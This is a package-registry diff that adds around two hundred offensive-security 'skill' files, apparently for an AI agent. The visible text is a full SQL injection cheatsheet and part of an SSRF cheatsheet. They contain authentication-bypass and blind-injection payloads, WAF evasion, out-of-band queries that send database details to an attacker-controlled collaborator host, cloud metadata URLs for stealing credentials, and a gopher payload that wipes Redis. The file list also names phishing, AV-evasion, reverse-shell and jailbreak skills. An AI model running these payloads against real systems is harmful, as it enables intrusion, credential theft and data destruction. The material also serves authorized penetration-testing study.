ineedcodes 1.6.1 → 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -1
- package/skills/401-403-bypass-techniques/SKILL.md +348 -0
- package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
- package/skills/active-directory-acl-abuse/SKILL.md +295 -0
- package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
- package/skills/active-directory-certificate-services/SKILL.md +303 -0
- package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
- package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
- package/skills/ai-ml-security/SKILL.md +425 -0
- package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
- package/skills/android-pentesting-tricks/SKILL.md +369 -0
- package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
- package/skills/anti-debugging-techniques/SKILL.md +407 -0
- package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
- package/skills/api-authorization-and-bola/SKILL.md +48 -0
- package/skills/api-recon-and-docs/SKILL.md +61 -0
- package/skills/api-sec/SKILL.md +49 -0
- package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
- package/skills/auth-sec/SKILL.md +41 -0
- package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
- package/skills/bba-ad-attacker/SKILL.md +420 -0
- package/skills/bba-api-security/SKILL.md +95 -0
- package/skills/bba-attack-planner/SKILL.md +186 -0
- package/skills/bba-binary-exploit/SKILL.md +65 -0
- package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
- package/skills/bba-bug-bounty/SKILL.md +245 -0
- package/skills/bba-cicd-redteam/SKILL.md +515 -0
- package/skills/bba-cloud-security/SKILL.md +97 -0
- package/skills/bba-container-escape/SKILL.md +161 -0
- package/skills/bba-credential-tester/SKILL.md +346 -0
- package/skills/bba-crypto-analyst/SKILL.md +54 -0
- package/skills/bba-ctf-solver/SKILL.md +166 -0
- package/skills/bba-detection-engineer/SKILL.md +93 -0
- package/skills/bba-engagement-planner/SKILL.md +68 -0
- package/skills/bba-exploit-chainer/SKILL.md +280 -0
- package/skills/bba-exploit-guide/SKILL.md +96 -0
- package/skills/bba-forensics-analyst/SKILL.md +512 -0
- package/skills/bba-graphql-hunter/SKILL.md +145 -0
- package/skills/bba-hardware-hacker/SKILL.md +57 -0
- package/skills/bba-jwt-cracker/SKILL.md +133 -0
- package/skills/bba-llm-redteam/SKILL.md +149 -0
- package/skills/bba-malware-analyst/SKILL.md +305 -0
- package/skills/bba-mobile-pentester/SKILL.md +350 -0
- package/skills/bba-osint-collector/SKILL.md +645 -0
- package/skills/bba-payload-crafter/SKILL.md +347 -0
- package/skills/bba-phishing-operator/SKILL.md +516 -0
- package/skills/bba-poc-validator/SKILL.md +249 -0
- package/skills/bba-privesc-advisor/SKILL.md +98 -0
- package/skills/bba-purple-team/SKILL.md +56 -0
- package/skills/bba-recon-advisor/SKILL.md +215 -0
- package/skills/bba-red-team-operator/SKILL.md +61 -0
- package/skills/bba-report-generator/SKILL.md +145 -0
- package/skills/bba-reverse-engineer/SKILL.md +298 -0
- package/skills/bba-social-engineer/SKILL.md +341 -0
- package/skills/bba-ssrf-hunter/SKILL.md +120 -0
- package/skills/bba-stig-analyst/SKILL.md +108 -0
- package/skills/bba-subdomain-takeover/SKILL.md +141 -0
- package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
- package/skills/bba-threat-modeler/SKILL.md +574 -0
- package/skills/bba-vuln-scanner/SKILL.md +305 -0
- package/skills/bba-web-hunter/SKILL.md +285 -0
- package/skills/bba-wireless-pentester/SKILL.md +539 -0
- package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
- package/skills/binary-protection-bypass/SKILL.md +295 -0
- package/skills/browser-exploitation-v8/SKILL.md +334 -0
- package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
- package/skills/business-logic-vuln/SKILL.md +33 -0
- package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
- package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
- package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
- package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
- package/skills/classical-cipher-analysis/SKILL.md +663 -0
- package/skills/clickjacking/SKILL.md +163 -0
- package/skills/cmdi-command-injection/SKILL.md +687 -0
- package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
- package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
- package/skills/container-escape-techniques/SKILL.md +339 -0
- package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
- package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
- package/skills/crlf-injection/SKILL.md +179 -0
- package/skills/csp-bypass-advanced/SKILL.md +259 -0
- package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
- package/skills/csv-formula-injection/SKILL.md +144 -0
- package/skills/dangling-markup-injection/SKILL.md +321 -0
- package/skills/defi-attack-patterns/SKILL.md +355 -0
- package/skills/dependency-confusion/SKILL.md +178 -0
- package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
- package/skills/deserialization-insecure/SKILL.md +725 -0
- package/skills/dns-rebinding-attacks/SKILL.md +337 -0
- package/skills/email-header-injection/SKILL.md +349 -0
- package/skills/expression-language-injection/SKILL.md +243 -0
- package/skills/file-access-vuln/SKILL.md +33 -0
- package/skills/format-string-exploitation/SKILL.md +312 -0
- package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
- package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
- package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
- package/skills/hack/SKILL.md +162 -0
- package/skills/hash-attack-techniques/SKILL.md +491 -0
- package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
- package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
- package/skills/heap-exploitation/SKILL.md +217 -0
- package/skills/http-host-header-attacks/SKILL.md +323 -0
- package/skills/http-parameter-pollution/SKILL.md +208 -0
- package/skills/http2-specific-attacks/SKILL.md +350 -0
- package/skills/idor-broken-object-authorization/SKILL.md +336 -0
- package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
- package/skills/injection-checking/SKILL.md +50 -0
- package/skills/insecure-source-code-management/SKILL.md +161 -0
- package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
- package/skills/ios-pentesting-tricks/SKILL.md +418 -0
- package/skills/jndi-injection/SKILL.md +265 -0
- package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
- package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
- package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
- package/skills/kernel-exploitation/SKILL.md +307 -0
- package/skills/kubernetes-pentesting/SKILL.md +348 -0
- package/skills/lattice-crypto-attacks/SKILL.md +497 -0
- package/skills/linux-lateral-movement/SKILL.md +348 -0
- package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
- package/skills/linux-privilege-escalation/SKILL.md +346 -0
- package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
- package/skills/linux-security-bypass/SKILL.md +345 -0
- package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
- package/skills/llm-prompt-injection/SKILL.md +357 -0
- package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
- package/skills/macos-process-injection/SKILL.md +384 -0
- package/skills/macos-security-bypass/SKILL.md +337 -0
- package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
- package/skills/memory-forensics-volatility/SKILL.md +323 -0
- package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
- package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
- package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
- package/skills/network-protocol-attacks/SKILL.md +330 -0
- package/skills/nosql-injection/SKILL.md +341 -0
- package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
- package/skills/ntlm-relay-coercion/SKILL.md +267 -0
- package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
- package/skills/open-redirect/SKILL.md +380 -0
- package/skills/path-traversal-lfi/SKILL.md +802 -0
- package/skills/prototype-pollution/SKILL.md +190 -0
- package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
- package/skills/prototype-pollution-advanced/SKILL.md +338 -0
- package/skills/race-condition/SKILL.md +526 -0
- package/skills/recon-and-methodology/SKILL.md +389 -0
- package/skills/recon-for-sec/SKILL.md +29 -0
- package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
- package/skills/request-smuggling/SKILL.md +314 -0
- package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
- package/skills/reverse-shell-techniques/SKILL.md +290 -0
- package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
- package/skills/rsa-attack-techniques/SKILL.md +437 -0
- package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
- package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
- package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
- package/skills/sandbox-escape-techniques/SKILL.md +250 -0
- package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
- package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
- package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
- package/skills/sqli-sql-injection/SKILL.md +489 -0
- package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
- package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
- package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
- package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
- package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
- package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
- package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
- package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
- package/skills/stack-overflow-and-rop/SKILL.md +304 -0
- package/skills/steganography-techniques/SKILL.md +348 -0
- package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
- package/skills/subdomain-takeover/SKILL.md +247 -0
- package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
- package/skills/symbolic-execution-tools/SKILL.md +419 -0
- package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
- package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
- package/skills/traffic-analysis-pcap/SKILL.md +341 -0
- package/skills/tunneling-and-pivoting/SKILL.md +343 -0
- package/skills/type-juggling/SKILL.md +291 -0
- package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
- package/skills/unauthorized-access-common-services/SKILL.md +388 -0
- package/skills/upload-insecure-files/SCENARIOS.md +158 -0
- package/skills/upload-insecure-files/SKILL.md +543 -0
- package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
- package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
- package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
- package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
- package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
- package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
- package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
- package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
- package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
- package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
- package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
- package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
- package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
- package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
- package/skills/waf-bypass-techniques/SKILL.md +290 -0
- package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
- package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
- package/skills/web-cache-deception/SKILL.md +222 -0
- package/skills/websocket-security/SKILL.md +454 -0
- package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
- package/skills/windows-av-evasion/SKILL.md +342 -0
- package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
- package/skills/windows-lateral-movement/SKILL.md +335 -0
- package/skills/windows-privilege-escalation/SKILL.md +328 -0
- package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
- package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
- package/skills/xslt-injection/SKILL.md +281 -0
- package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
- package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
- package/skills/xss-cross-site-scripting/SKILL.md +379 -0
- package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
- package/skills/xxe-xml-external-entity/SKILL.md +554 -0
- package/src/agent.js +1 -1
- package/src/session.js +6 -3
- package/src/skills.js +30 -6
- package/src/ui.js +1 -1
|
@@ -0,0 +1,270 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: vr-cheatsheet-sqli
|
|
3
|
+
description: >-
|
|
4
|
+
Vulnerability research reference: sqligated: true
|
|
5
|
+
---
|
|
6
|
+
# 💉 SQL Injection (SQLi) Research Cheatsheet
|
|
7
|
+
|
|
8
|
+
> **⚠️ Research & Authorized Testing Only:** SQL injection can cause data loss or service outages. Always verify `WHERE` clauses before running `UPDATE` or `DELETE` statements.
|
|
9
|
+
|
|
10
|
+
---
|
|
11
|
+
|
|
12
|
+
## 🔍 1. Detection & Fingerprinting
|
|
13
|
+
|
|
14
|
+
*Determine if the parameter is vulnerable and which database is running backend.*
|
|
15
|
+
|
|
16
|
+
### Universal Error Triggers
|
|
17
|
+
|
|
18
|
+
*Inject these characters to break the SQL syntax.*
|
|
19
|
+
|
|
20
|
+
```sql
|
|
21
|
+
'
|
|
22
|
+
"
|
|
23
|
+
`
|
|
24
|
+
')
|
|
25
|
+
")
|
|
26
|
+
;
|
|
27
|
+
--
|
|
28
|
+
\ (MySQL specific, escapes the next quote)
|
|
29
|
+
|
|
30
|
+
```
|
|
31
|
+
|
|
32
|
+
### Logical Verification (Boolean)
|
|
33
|
+
|
|
34
|
+
*If the page content changes between True and False, it is vulnerable.*
|
|
35
|
+
|
|
36
|
+
```sql
|
|
37
|
+
-- Integer Injection
|
|
38
|
+
id=1 AND 1=1 (True - Page loads normally)
|
|
39
|
+
id=1 AND 1=2 (False - Page missing content/404)
|
|
40
|
+
|
|
41
|
+
-- String Injection
|
|
42
|
+
id=1' AND '1'='1
|
|
43
|
+
id=1' AND '1'='0
|
|
44
|
+
|
|
45
|
+
-- Mathematical (Bypass Quotes)
|
|
46
|
+
id=1-0 (Should stay 1)
|
|
47
|
+
id=1-1 (Should become 0/Error)
|
|
48
|
+
|
|
49
|
+
```
|
|
50
|
+
|
|
51
|
+
### Database Fingerprinting
|
|
52
|
+
|
|
53
|
+
*Identify the DB to tailor your payloads.*
|
|
54
|
+
|
|
55
|
+
| Database | Version Query | String Concat | Comments |
|
|
56
|
+
| --- | --- | --- | --- |
|
|
57
|
+
| **MySQL** | `SELECT @@version` | `CONCAT(a,b)` or `a b` | `#`, `-- ` (space needed) |
|
|
58
|
+
| **PostgreSQL** | `SELECT version()` | `a || b` | `--` |
|
|
59
|
+
| **MSSQL** | `SELECT @@version` | `a + b` | `--` |
|
|
60
|
+
| **Oracle** | `SELECT banner FROM v$version` | `a || b` | `--` |
|
|
61
|
+
|
|
62
|
+
---
|
|
63
|
+
|
|
64
|
+
## ⛓️ 2. UNION Based Injection
|
|
65
|
+
|
|
66
|
+
*Used when the application displays the output of the query on the page.*
|
|
67
|
+
|
|
68
|
+
### Step 1: Determine Column Count
|
|
69
|
+
|
|
70
|
+
*Increment the number until the application returns an error.*
|
|
71
|
+
|
|
72
|
+
```sql
|
|
73
|
+
ORDER BY 1--
|
|
74
|
+
ORDER BY 2--
|
|
75
|
+
ORDER BY 3--
|
|
76
|
+
...
|
|
77
|
+
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
### Step 2: Find the Data Echo Point
|
|
81
|
+
|
|
82
|
+
*Once you know the column count (e.g., 3), identify which column is displayed.*
|
|
83
|
+
|
|
84
|
+
```sql
|
|
85
|
+
-- MySQL / PostgreSQL
|
|
86
|
+
UNION SELECT 1, 2, 3--
|
|
87
|
+
UNION SELECT 'a', 'b', 'c'-- (If types are strict)
|
|
88
|
+
|
|
89
|
+
-- MSSQL / Oracle (Strict typing requires NULLs)
|
|
90
|
+
UNION SELECT NULL, NULL, NULL--
|
|
91
|
+
|
|
92
|
+
```
|
|
93
|
+
|
|
94
|
+
### Step 3: Extract Data
|
|
95
|
+
|
|
96
|
+
*Replace the echoing number (e.g., '2') with system commands.*
|
|
97
|
+
|
|
98
|
+
```sql
|
|
99
|
+
UNION SELECT 1, @@version, 3--
|
|
100
|
+
UNION SELECT 1, user(), 3--
|
|
101
|
+
UNION SELECT 1, table_name, 3 FROM information_schema.tables--
|
|
102
|
+
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
---
|
|
106
|
+
|
|
107
|
+
## ⏳ 3. Blind SQL Injection
|
|
108
|
+
|
|
109
|
+
*Used when no errors or data are returned. You rely on server behavior (delays).*
|
|
110
|
+
|
|
111
|
+
### Time-Based Payloads (The "Sleep" Test)
|
|
112
|
+
|
|
113
|
+
**MySQL**
|
|
114
|
+
|
|
115
|
+
```sql
|
|
116
|
+
1' AND SLEEP(5)--
|
|
117
|
+
1' AND BENCHMARK(1000000,MD5(1))--
|
|
118
|
+
|
|
119
|
+
```
|
|
120
|
+
|
|
121
|
+
**PostgreSQL**
|
|
122
|
+
|
|
123
|
+
```sql
|
|
124
|
+
1' || pg_sleep(5)--
|
|
125
|
+
1' || (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)--
|
|
126
|
+
|
|
127
|
+
```
|
|
128
|
+
|
|
129
|
+
**MSSQL**
|
|
130
|
+
|
|
131
|
+
```sql
|
|
132
|
+
1'; WAITFOR DELAY '0:0:5'--
|
|
133
|
+
|
|
134
|
+
```
|
|
135
|
+
|
|
136
|
+
**Oracle**
|
|
137
|
+
|
|
138
|
+
```sql
|
|
139
|
+
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('RDS',5)--
|
|
140
|
+
|
|
141
|
+
```
|
|
142
|
+
|
|
143
|
+
---
|
|
144
|
+
|
|
145
|
+
## 📡 4. Out-of-Band (OOB) Exfiltration
|
|
146
|
+
|
|
147
|
+
*Used when you can't see the output, but the server can make external network requests (DNS/HTTP).*
|
|
148
|
+
*Requires a listener (e.g., Burp Collaborator, Interactsh).*
|
|
149
|
+
|
|
150
|
+
**MySQL (Windows Only - UNC Path)**
|
|
151
|
+
|
|
152
|
+
```sql
|
|
153
|
+
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT version()), '.your-collaborator.com\\foobar'));
|
|
154
|
+
|
|
155
|
+
```
|
|
156
|
+
|
|
157
|
+
**PostgreSQL (COPY Command)**
|
|
158
|
+
|
|
159
|
+
```sql
|
|
160
|
+
COPY (SELECT '') TO PROGRAM 'nslookup $(whoami).your-collaborator.com';
|
|
161
|
+
|
|
162
|
+
```
|
|
163
|
+
|
|
164
|
+
**MSSQL (xp_dirtree)**
|
|
165
|
+
|
|
166
|
+
```sql
|
|
167
|
+
DECLARE @v VARCHAR(1024);
|
|
168
|
+
SELECT @v = (SELECT @@version);
|
|
169
|
+
EXEC('master..xp_dirtree "\\'+@v+'.your-collaborator.com\foo"');
|
|
170
|
+
|
|
171
|
+
```
|
|
172
|
+
|
|
173
|
+
**Oracle (UTL_HTTP)**
|
|
174
|
+
|
|
175
|
+
```sql
|
|
176
|
+
SELECT UTL_HTTP.REQUEST('http://your-collaborator.com/'||(SELECT banner FROM v$version)) FROM DUAL;
|
|
177
|
+
|
|
178
|
+
```
|
|
179
|
+
|
|
180
|
+
---
|
|
181
|
+
|
|
182
|
+
## 🛡️ 5. WAF Bypass & Evasion
|
|
183
|
+
|
|
184
|
+
*Techniques to slip past filters blocking "UNION" or "SELECT".*
|
|
185
|
+
|
|
186
|
+
### Case & Comments
|
|
187
|
+
|
|
188
|
+
```sql
|
|
189
|
+
UnIoN/**/SeLeCt
|
|
190
|
+
SEL/**/ECT
|
|
191
|
+
|
|
192
|
+
```
|
|
193
|
+
|
|
194
|
+
### Whitespace Alternatives
|
|
195
|
+
|
|
196
|
+
*If spaces are blocked, use tabs, newlines, or parenthesis.*
|
|
197
|
+
|
|
198
|
+
```sql
|
|
199
|
+
%09 (Tab)
|
|
200
|
+
%0A (Newline)
|
|
201
|
+
/*comments*/
|
|
202
|
+
UNION(SELECT(1),2,3)
|
|
203
|
+
|
|
204
|
+
```
|
|
205
|
+
|
|
206
|
+
### Encoding
|
|
207
|
+
|
|
208
|
+
```sql
|
|
209
|
+
-- Hex Encoding (Bypasses quotes)
|
|
210
|
+
SELECT * FROM users WHERE name = 0x61646D696E (Hex for 'admin')
|
|
211
|
+
|
|
212
|
+
-- URL Double Encoding
|
|
213
|
+
%2555NION %2553ELECT
|
|
214
|
+
|
|
215
|
+
```
|
|
216
|
+
|
|
217
|
+
---
|
|
218
|
+
|
|
219
|
+
## 🗄️ 6. Useful System Tables (Mapping the DB)
|
|
220
|
+
|
|
221
|
+
*Where to look for the "flag" or user data.*
|
|
222
|
+
|
|
223
|
+
**MySQL / PostgreSQL / MSSQL**
|
|
224
|
+
|
|
225
|
+
```sql
|
|
226
|
+
SELECT table_name FROM information_schema.tables
|
|
227
|
+
SELECT column_name FROM information_schema.columns WHERE table_name = 'users'
|
|
228
|
+
|
|
229
|
+
```
|
|
230
|
+
|
|
231
|
+
**Oracle**
|
|
232
|
+
|
|
233
|
+
```sql
|
|
234
|
+
SELECT table_name FROM all_tables
|
|
235
|
+
SELECT column_name FROM all_tab_columns WHERE table_name = 'USERS'
|
|
236
|
+
|
|
237
|
+
```
|
|
238
|
+
|
|
239
|
+
---
|
|
240
|
+
|
|
241
|
+
## 🛠️ 7. Cheat-Sheet: Payload Polyglots
|
|
242
|
+
|
|
243
|
+
*Try these "one-shot" strings to detect vulnerabilities across different engines.*
|
|
244
|
+
|
|
245
|
+
**The "Sleeper" Polyglot (Time-Based)**
|
|
246
|
+
|
|
247
|
+
```sql
|
|
248
|
+
SLEEP(5) /*' or SLEEP(5) or '" or SLEEP(5) or "*/
|
|
249
|
+
|
|
250
|
+
```
|
|
251
|
+
|
|
252
|
+
**The Generic Error Polyglot**
|
|
253
|
+
|
|
254
|
+
```text
|
|
255
|
+
' " \ ; -- /*
|
|
256
|
+
|
|
257
|
+
```
|
|
258
|
+
|
|
259
|
+
**Authentication Bypass Polyglot**
|
|
260
|
+
|
|
261
|
+
```sql
|
|
262
|
+
or true--
|
|
263
|
+
" or true--
|
|
264
|
+
' or true--
|
|
265
|
+
") or true--
|
|
266
|
+
') or true--
|
|
267
|
+
|
|
268
|
+
```
|
|
269
|
+
|
|
270
|
+
> Source: skraft9/vulnerability-research. Authorized security work only. Gated skill: needs the developer keyword.
|
|
@@ -0,0 +1,173 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: vr-cheatsheet-ssrf
|
|
3
|
+
description: >-
|
|
4
|
+
Vulnerability research reference: ssrfgated: true
|
|
5
|
+
---
|
|
6
|
+
# SSRF (Server-Side Request Forgery) Cheatsheet
|
|
7
|
+
|
|
8
|
+
> **⚠️ Ethical Warning:** Research and authorized testing only. Hitting internal metadata endpoints on production cloud environments is a critical severity action.
|
|
9
|
+
|
|
10
|
+
---
|
|
11
|
+
|
|
12
|
+
## 1. The Types of SSRF
|
|
13
|
+
|
|
14
|
+
*Understanding the visibility you have determines your attack path.*
|
|
15
|
+
|
|
16
|
+
### A. Basic (In-Band) SSRF
|
|
17
|
+
|
|
18
|
+
**What it means:** You send a request, and the server returns the **full response** to you.
|
|
19
|
+
|
|
20
|
+
* **Impact:** Massive. You can read files, steal cloud keys, or view internal admin panels directly.
|
|
21
|
+
* **Detection:**
|
|
22
|
+
* Input: `https://www.google.com`
|
|
23
|
+
* Output: The actual HTML content of Google's homepage is rendered in the app.
|
|
24
|
+
|
|
25
|
+
|
|
26
|
+
|
|
27
|
+
### B. Blind SSRF
|
|
28
|
+
|
|
29
|
+
**What it means:** You send a request, but the server **does not return the response** body.
|
|
30
|
+
|
|
31
|
+
**Impact:**
|
|
32
|
+
* Lower immediate impact, but used to map internal networks or trigger remote code execution (RCE) on internal services (e.g., Redis, Memcached).
|
|
33
|
+
|
|
34
|
+
**Detection:**
|
|
35
|
+
* **Time-Based:** `http://10.0.0.1:80` (Fast response) vs `http://10.0.0.1:81` (Timeout/Slow).
|
|
36
|
+
* **Out-of-Band (OOB):** You force the server to DNS query or HTTP request a server you control (e.g., Burp Collaborator).
|
|
37
|
+
|
|
38
|
+
|
|
39
|
+
### C. Semi-Blind / Boolean SSRF
|
|
40
|
+
|
|
41
|
+
**What it means:** You don't see the body, but you get a **different status code, error message, or response length**.
|
|
42
|
+
|
|
43
|
+
**Impact:**
|
|
44
|
+
- Port scanning and internal service enumeration.
|
|
45
|
+
|
|
46
|
+
**Detection:**
|
|
47
|
+
* `http://localhost:22` -> Returns "Error: SSH-2.0..." (You know SSH is open).
|
|
48
|
+
* `http://localhost:80` -> Returns "200 OK" (Empty body).
|
|
49
|
+
* `http://localhost:9999` -> Returns "Connection Refused".
|
|
50
|
+
|
|
51
|
+
|
|
52
|
+
---
|
|
53
|
+
|
|
54
|
+
## 2. Cloud Metadata Targets (The "Holy Grail")
|
|
55
|
+
|
|
56
|
+
*If you have In-Band SSRF on a cloud server, these are your first targets to steal credentials.*
|
|
57
|
+
|
|
58
|
+
### AWS (Amazon Web Services)
|
|
59
|
+
|
|
60
|
+
**IMDSv1 (Legacy - Most vulnerable)**
|
|
61
|
+
|
|
62
|
+
```text
|
|
63
|
+
http://169.254.169.254/latest/meta-data/
|
|
64
|
+
http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
|
65
|
+
|
|
66
|
+
```
|
|
67
|
+
|
|
68
|
+
**IMDSv2 (Modern - Requires Header)**
|
|
69
|
+
*Harder to exploit via standard SSRF; requires Header Injection or specific client misconfiguration.*
|
|
70
|
+
|
|
71
|
+
* Needs header: `X-aws-ec2-metadata-token-ttl-seconds: 21600`
|
|
72
|
+
|
|
73
|
+
### Google Cloud Platform (GCP)
|
|
74
|
+
|
|
75
|
+
* **Legacy (v1beta1):** `http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json`
|
|
76
|
+
* **Modern (v1):** Requires header `Metadata-Flavor: Google` (Defeats most basic SSRF).
|
|
77
|
+
|
|
78
|
+
### Azure
|
|
79
|
+
|
|
80
|
+
* `http://169.254.169.254/metadata/instance?api-version=2021-02-01`
|
|
81
|
+
* Requires header: `Metadata: true`
|
|
82
|
+
|
|
83
|
+
### DigitalOcean & Oracle Cloud
|
|
84
|
+
|
|
85
|
+
* **DigitalOcean:** `http://169.254.169.254/metadata/v1.json`
|
|
86
|
+
* **Oracle:** `http://169.254.169.254/opc/v1/instance/` (Often requires `Authorization: Bearer` header).
|
|
87
|
+
|
|
88
|
+
---
|
|
89
|
+
|
|
90
|
+
## 3. Protocol Wrappers (Scheme Flooding)
|
|
91
|
+
|
|
92
|
+
*If `http://` is blocked, or you need to interact with non-web services.*
|
|
93
|
+
|
|
94
|
+
| Wrapper | Usage | Target |
|
|
95
|
+
| --- | --- | --- |
|
|
96
|
+
| **file://** | `file:///etc/passwd` | Read local files (LFI via SSRF). |
|
|
97
|
+
| **gopher://** | `gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall...` | Talk to Redis, SMTP, Memcached (Arbitrary TCP). |
|
|
98
|
+
| **dict://** | `dict://127.0.0.1:11211/stat` | Memcached interaction. |
|
|
99
|
+
| **sftp://** | `sftp://evil.com:1337/` | Sometimes triggers Java loading external classes. |
|
|
100
|
+
| **ldap://** | `ldap://localhost:389/%0astats%0aquit` | Internal LDAP info. |
|
|
101
|
+
|
|
102
|
+
---
|
|
103
|
+
|
|
104
|
+
## 4. Filter Bypasses
|
|
105
|
+
|
|
106
|
+
*Developers often block "localhost" or "127.0.0.1". Here is how to slip past.*
|
|
107
|
+
|
|
108
|
+
### A. IP Encoding (The "Transformer")
|
|
109
|
+
|
|
110
|
+
*Browsers resolve these as 127.0.0.1, but regex filters often miss them.*
|
|
111
|
+
|
|
112
|
+
| Type | Payload |
|
|
113
|
+
| --- | --- |
|
|
114
|
+
| **Decimal** | `http://2130706433` |
|
|
115
|
+
| **Octal** | `http://0177.0000.0000.0001` |
|
|
116
|
+
| **Hex** | `http://0x7f000001` |
|
|
117
|
+
| **Mixed** | `http://127.1` (Shorthand) |
|
|
118
|
+
| **Enclosed** | `http://[::1]` (IPv6) |
|
|
119
|
+
|
|
120
|
+
### B. DNS Rebinding
|
|
121
|
+
|
|
122
|
+
*The ultimate bypass for "Time-of-Check to Time-of-Use" (TOCTOU).*
|
|
123
|
+
|
|
124
|
+
